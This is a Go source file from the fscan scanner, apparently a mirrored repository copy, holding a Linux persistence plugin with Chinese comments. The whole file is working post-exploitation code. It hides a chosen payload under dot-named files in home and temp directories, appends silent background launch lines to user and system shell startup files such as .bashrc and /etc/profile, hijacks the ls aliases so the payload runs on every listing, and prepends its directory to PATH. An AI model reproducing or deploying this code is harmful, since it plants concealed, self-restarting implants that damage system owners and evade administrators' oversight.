mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00
422 lines
11 KiB
Go
422 lines
11 KiB
Go
//go:build linux
|
||
|
||
package shellenv
|
||
|
||
import (
|
||
"context"
|
||
"fmt"
|
||
"os"
|
||
"os/user"
|
||
"path/filepath"
|
||
"runtime"
|
||
"strings"
|
||
|
||
"github.com/shadow1ng/fscan/common"
|
||
"github.com/shadow1ng/fscan/plugins/base"
|
||
"github.com/shadow1ng/fscan/plugins/local"
|
||
)
|
||
|
||
// ShellEnvPlugin Shell环境变量持久化插件 - 使用简化架构
|
||
type ShellEnvPlugin struct {
|
||
*local.BaseLocalPlugin
|
||
targetFile string
|
||
}
|
||
|
||
// NewShellEnvPlugin 创建Shell环境变量持久化插件 - 简化版本
|
||
func NewShellEnvPlugin() *ShellEnvPlugin {
|
||
// 从全局参数获取目标文件路径
|
||
targetFile := common.PersistenceTargetFile
|
||
if targetFile == "" {
|
||
targetFile = "" // 需要用户指定
|
||
}
|
||
|
||
metadata := &base.PluginMetadata{
|
||
Name: "shellenv",
|
||
Version: "1.0.0",
|
||
Author: "fscan-team",
|
||
Description: "Linux Shell环境变量持久化插件,通过修改shell配置文件实现持久化",
|
||
Category: "local",
|
||
Tags: []string{"local", "persistence", "linux", "shell", "environment"},
|
||
Protocols: []string{"local"},
|
||
}
|
||
|
||
plugin := &ShellEnvPlugin{
|
||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||
targetFile: targetFile,
|
||
}
|
||
|
||
// 只支持Linux平台
|
||
plugin.SetPlatformSupport([]string{"linux"})
|
||
// 需要写入用户配置文件的权限
|
||
plugin.SetRequiresPrivileges(false)
|
||
|
||
return plugin
|
||
}
|
||
|
||
// Initialize 初始化插件
|
||
func (p *ShellEnvPlugin) Initialize() error {
|
||
if p.targetFile == "" {
|
||
return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径")
|
||
}
|
||
|
||
// 检查目标文件是否存在
|
||
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
|
||
return fmt.Errorf("目标文件不存在: %s", p.targetFile)
|
||
}
|
||
|
||
return p.BaseLocalPlugin.Initialize()
|
||
}
|
||
|
||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||
func (p *ShellEnvPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||
return p.ScanLocal(ctx, info)
|
||
}
|
||
|
||
// ScanLocal 执行Shell环境变量持久化 - 简化版本
|
||
func (p *ShellEnvPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||
if runtime.GOOS != "linux" {
|
||
return &base.ScanResult{
|
||
Success: false,
|
||
Error: fmt.Errorf("Shell环境变量持久化只支持Linux平台"),
|
||
}, nil
|
||
}
|
||
|
||
common.LogBase("开始Shell环境变量持久化...")
|
||
common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile))
|
||
|
||
// 执行持久化操作
|
||
results := make([]string, 0)
|
||
|
||
// 1. 复制文件到隐藏目录
|
||
hiddenPath, err := p.copyToHiddenPath()
|
||
if err != nil {
|
||
common.LogError(fmt.Sprintf("复制文件失败: %v", err))
|
||
} else {
|
||
results = append(results, fmt.Sprintf("文件已复制到: %s", hiddenPath))
|
||
common.LogSuccess(fmt.Sprintf("文件已复制到: %s", hiddenPath))
|
||
}
|
||
|
||
// 2. 添加到用户shell配置文件
|
||
userConfigs, err := p.addToUserConfigs(hiddenPath)
|
||
if err != nil {
|
||
common.LogError(fmt.Sprintf("添加到用户配置失败: %v", err))
|
||
} else {
|
||
results = append(results, fmt.Sprintf("已添加到用户配置: %s", strings.Join(userConfigs, ", ")))
|
||
common.LogSuccess("已添加到用户shell配置")
|
||
}
|
||
|
||
// 3. 添加到全局shell配置文件
|
||
globalConfigs, err := p.addToGlobalConfigs(hiddenPath)
|
||
if err != nil {
|
||
common.LogError(fmt.Sprintf("添加到全局配置失败: %v", err))
|
||
} else {
|
||
results = append(results, fmt.Sprintf("已添加到全局配置: %s", strings.Join(globalConfigs, ", ")))
|
||
common.LogSuccess("已添加到全局shell配置")
|
||
}
|
||
|
||
// 4. 创建启动别名
|
||
aliasConfigs, err := p.addAliases(hiddenPath)
|
||
if err != nil {
|
||
common.LogError(fmt.Sprintf("创建别名失败: %v", err))
|
||
} else {
|
||
results = append(results, fmt.Sprintf("已创建别名: %s", strings.Join(aliasConfigs, ", ")))
|
||
common.LogSuccess("已创建命令别名")
|
||
}
|
||
|
||
// 5. 添加PATH环境变量
|
||
err = p.addToPath(filepath.Dir(hiddenPath))
|
||
if err != nil {
|
||
common.LogError(fmt.Sprintf("添加PATH失败: %v", err))
|
||
} else {
|
||
results = append(results, "已添加到PATH环境变量")
|
||
common.LogSuccess("已添加到PATH环境变量")
|
||
}
|
||
|
||
success := len(results) > 0
|
||
|
||
result := &base.ScanResult{
|
||
Success: success,
|
||
Service: "ShellEnvPersistence",
|
||
Banner: fmt.Sprintf("Shell环境变量持久化完成 - 目标: %s", filepath.Base(p.targetFile)),
|
||
Extra: map[string]interface{}{
|
||
"target_file": p.targetFile,
|
||
"platform": runtime.GOOS,
|
||
"methods": results,
|
||
"status": "completed",
|
||
},
|
||
}
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// copyToHiddenPath 复制文件到隐藏目录
|
||
func (p *ShellEnvPlugin) copyToHiddenPath() (string, error) {
|
||
// 获取用户主目录
|
||
usr, err := user.Current()
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
|
||
// 创建隐藏目录
|
||
hiddenDirs := []string{
|
||
filepath.Join(usr.HomeDir, ".local", "bin"),
|
||
filepath.Join(usr.HomeDir, ".config"),
|
||
"/tmp/.system",
|
||
"/var/tmp/.cache",
|
||
}
|
||
|
||
var targetDir string
|
||
for _, dir := range hiddenDirs {
|
||
if err := os.MkdirAll(dir, 0755); err == nil {
|
||
targetDir = dir
|
||
break
|
||
}
|
||
}
|
||
|
||
if targetDir == "" {
|
||
return "", fmt.Errorf("无法创建目标目录")
|
||
}
|
||
|
||
// 生成隐藏文件名
|
||
basename := filepath.Base(p.targetFile)
|
||
hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename))
|
||
if p.isScriptFile() {
|
||
hiddenName += ".sh"
|
||
}
|
||
|
||
targetPath := filepath.Join(targetDir, hiddenName)
|
||
|
||
// 复制文件
|
||
err = p.copyFile(p.targetFile, targetPath)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
|
||
// 设置执行权限
|
||
os.Chmod(targetPath, 0755)
|
||
|
||
return targetPath, nil
|
||
}
|
||
|
||
// copyFile 复制文件内容
|
||
func (p *ShellEnvPlugin) copyFile(src, dst string) error {
|
||
sourceData, err := os.ReadFile(src)
|
||
if err != nil {
|
||
return err
|
||
}
|
||
return os.WriteFile(dst, sourceData, 0755)
|
||
}
|
||
|
||
// addToUserConfigs 添加到用户shell配置文件
|
||
func (p *ShellEnvPlugin) addToUserConfigs(execPath string) ([]string, error) {
|
||
usr, err := user.Current()
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
|
||
configFiles := []string{
|
||
filepath.Join(usr.HomeDir, ".bashrc"),
|
||
filepath.Join(usr.HomeDir, ".profile"),
|
||
filepath.Join(usr.HomeDir, ".bash_profile"),
|
||
filepath.Join(usr.HomeDir, ".zshrc"),
|
||
}
|
||
|
||
var modified []string
|
||
execLine := p.generateExecLine(execPath)
|
||
|
||
for _, configFile := range configFiles {
|
||
if p.addToConfigFile(configFile, execLine) {
|
||
modified = append(modified, configFile)
|
||
}
|
||
}
|
||
|
||
if len(modified) == 0 {
|
||
return nil, fmt.Errorf("无法修改任何用户配置文件")
|
||
}
|
||
|
||
return modified, nil
|
||
}
|
||
|
||
// addToGlobalConfigs 添加到全局shell配置文件
|
||
func (p *ShellEnvPlugin) addToGlobalConfigs(execPath string) ([]string, error) {
|
||
configFiles := []string{
|
||
"/etc/bash.bashrc",
|
||
"/etc/profile",
|
||
"/etc/zsh/zshrc",
|
||
"/etc/profile.d/custom.sh",
|
||
}
|
||
|
||
var modified []string
|
||
execLine := p.generateExecLine(execPath)
|
||
|
||
for _, configFile := range configFiles {
|
||
// 对于profile.d,需要先创建目录
|
||
if strings.Contains(configFile, "profile.d") {
|
||
os.MkdirAll(filepath.Dir(configFile), 0755)
|
||
}
|
||
|
||
if p.addToConfigFile(configFile, execLine) {
|
||
modified = append(modified, configFile)
|
||
}
|
||
}
|
||
|
||
if len(modified) == 0 {
|
||
return nil, fmt.Errorf("无法修改任何全局配置文件")
|
||
}
|
||
|
||
return modified, nil
|
||
}
|
||
|
||
// addAliases 添加命令别名
|
||
func (p *ShellEnvPlugin) addAliases(execPath string) ([]string, error) {
|
||
usr, err := user.Current()
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
|
||
aliasFiles := []string{
|
||
filepath.Join(usr.HomeDir, ".bash_aliases"),
|
||
filepath.Join(usr.HomeDir, ".aliases"),
|
||
}
|
||
|
||
// 生成常用命令别名
|
||
aliases := []string{
|
||
fmt.Sprintf("alias ls='%s; /bin/ls'", execPath),
|
||
fmt.Sprintf("alias ll='%s; /bin/ls -l'", execPath),
|
||
fmt.Sprintf("alias la='%s; /bin/ls -la'", execPath),
|
||
}
|
||
|
||
var modified []string
|
||
for _, aliasFile := range aliasFiles {
|
||
content := strings.Join(aliases, "\n") + "\n"
|
||
if p.addToConfigFile(aliasFile, content) {
|
||
modified = append(modified, aliasFile)
|
||
}
|
||
}
|
||
|
||
return modified, nil
|
||
}
|
||
|
||
// addToPath 添加到PATH环境变量
|
||
func (p *ShellEnvPlugin) addToPath(dirPath string) error {
|
||
usr, err := user.Current()
|
||
if err != nil {
|
||
return err
|
||
}
|
||
|
||
configFile := filepath.Join(usr.HomeDir, ".bashrc")
|
||
pathLine := fmt.Sprintf("export PATH=\"%s:$PATH\"", dirPath)
|
||
|
||
if p.addToConfigFile(configFile, pathLine) {
|
||
return nil
|
||
}
|
||
|
||
return fmt.Errorf("无法添加PATH环境变量")
|
||
}
|
||
|
||
// addToConfigFile 添加内容到配置文件
|
||
func (p *ShellEnvPlugin) addToConfigFile(configFile, content string) bool {
|
||
// 读取现有内容
|
||
existingContent := ""
|
||
if data, err := os.ReadFile(configFile); err == nil {
|
||
existingContent = string(data)
|
||
}
|
||
|
||
// 检查是否已存在
|
||
if strings.Contains(existingContent, content) {
|
||
return true // 已存在,视为成功
|
||
}
|
||
|
||
// 添加新内容
|
||
if !strings.HasSuffix(existingContent, "\n") && existingContent != "" {
|
||
existingContent += "\n"
|
||
}
|
||
existingContent += content + "\n"
|
||
|
||
// 写入文件
|
||
return os.WriteFile(configFile, []byte(existingContent), 0644) == nil
|
||
}
|
||
|
||
// generateExecLine 生成执行命令行
|
||
func (p *ShellEnvPlugin) generateExecLine(execPath string) string {
|
||
if p.isScriptFile() {
|
||
return fmt.Sprintf("bash %s >/dev/null 2>&1 &", execPath)
|
||
} else {
|
||
return fmt.Sprintf("%s >/dev/null 2>&1 &", execPath)
|
||
}
|
||
}
|
||
|
||
// isScriptFile 检查是否为脚本文件
|
||
func (p *ShellEnvPlugin) isScriptFile() bool {
|
||
ext := strings.ToLower(filepath.Ext(p.targetFile))
|
||
return ext == ".sh" || ext == ".bash" || ext == ".zsh"
|
||
}
|
||
|
||
// GetLocalData 获取Shell环境变量持久化本地数据
|
||
func (p *ShellEnvPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||
data := make(map[string]interface{})
|
||
|
||
data["plugin_type"] = "shellenv"
|
||
data["platform"] = runtime.GOOS
|
||
data["target_file"] = p.targetFile
|
||
data["persistence_method"] = "Shell Environment"
|
||
|
||
if hostname, err := os.Hostname(); err == nil {
|
||
data["hostname"] = hostname
|
||
}
|
||
|
||
return data, nil
|
||
}
|
||
|
||
// ExtractData 提取数据
|
||
func (p *ShellEnvPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||
return &base.ExploitResult{
|
||
Success: true,
|
||
Output: fmt.Sprintf("Shell环境变量持久化完成,目标文件: %s", p.targetFile),
|
||
Data: data,
|
||
Extra: map[string]interface{}{
|
||
"target_file": p.targetFile,
|
||
"persistence_method": "Shell Environment",
|
||
"status": "completed",
|
||
},
|
||
}, nil
|
||
}
|
||
|
||
// GetInfo 获取插件信息
|
||
func (p *ShellEnvPlugin) GetInfo() string {
|
||
var info strings.Builder
|
||
|
||
info.WriteString("Shell环境变量持久化插件\n")
|
||
info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile))
|
||
info.WriteString("支持平台: Linux\n")
|
||
info.WriteString("功能: 通过修改shell配置文件实现持久化\n")
|
||
info.WriteString("方法: .bashrc、.profile、别名、PATH环境变量\n")
|
||
info.WriteString("支持文件: .sh脚本和ELF可执行文件\n")
|
||
|
||
return info.String()
|
||
}
|
||
|
||
// RegisterShellEnvPlugin 注册Shell环境变量持久化插件
|
||
func RegisterShellEnvPlugin() {
|
||
factory := base.NewSimplePluginFactory(
|
||
&base.PluginMetadata{
|
||
Name: "shellenv",
|
||
Version: "1.0.0",
|
||
Author: "fscan-team",
|
||
Description: "Linux Shell环境变量持久化插件,通过修改shell配置文件实现持久化",
|
||
Category: "local",
|
||
Tags: []string{"shellenv", "local", "persistence", "linux"},
|
||
Protocols: []string{"local"},
|
||
},
|
||
func() base.Plugin {
|
||
return NewShellEnvPlugin()
|
||
},
|
||
)
|
||
|
||
base.GlobalPluginRegistry.Register("shellenv", factory)
|
||
}
|
||
|
||
// init 插件注册函数
|
||
func init() {
|
||
RegisterShellEnvPlugin()
|
||
} |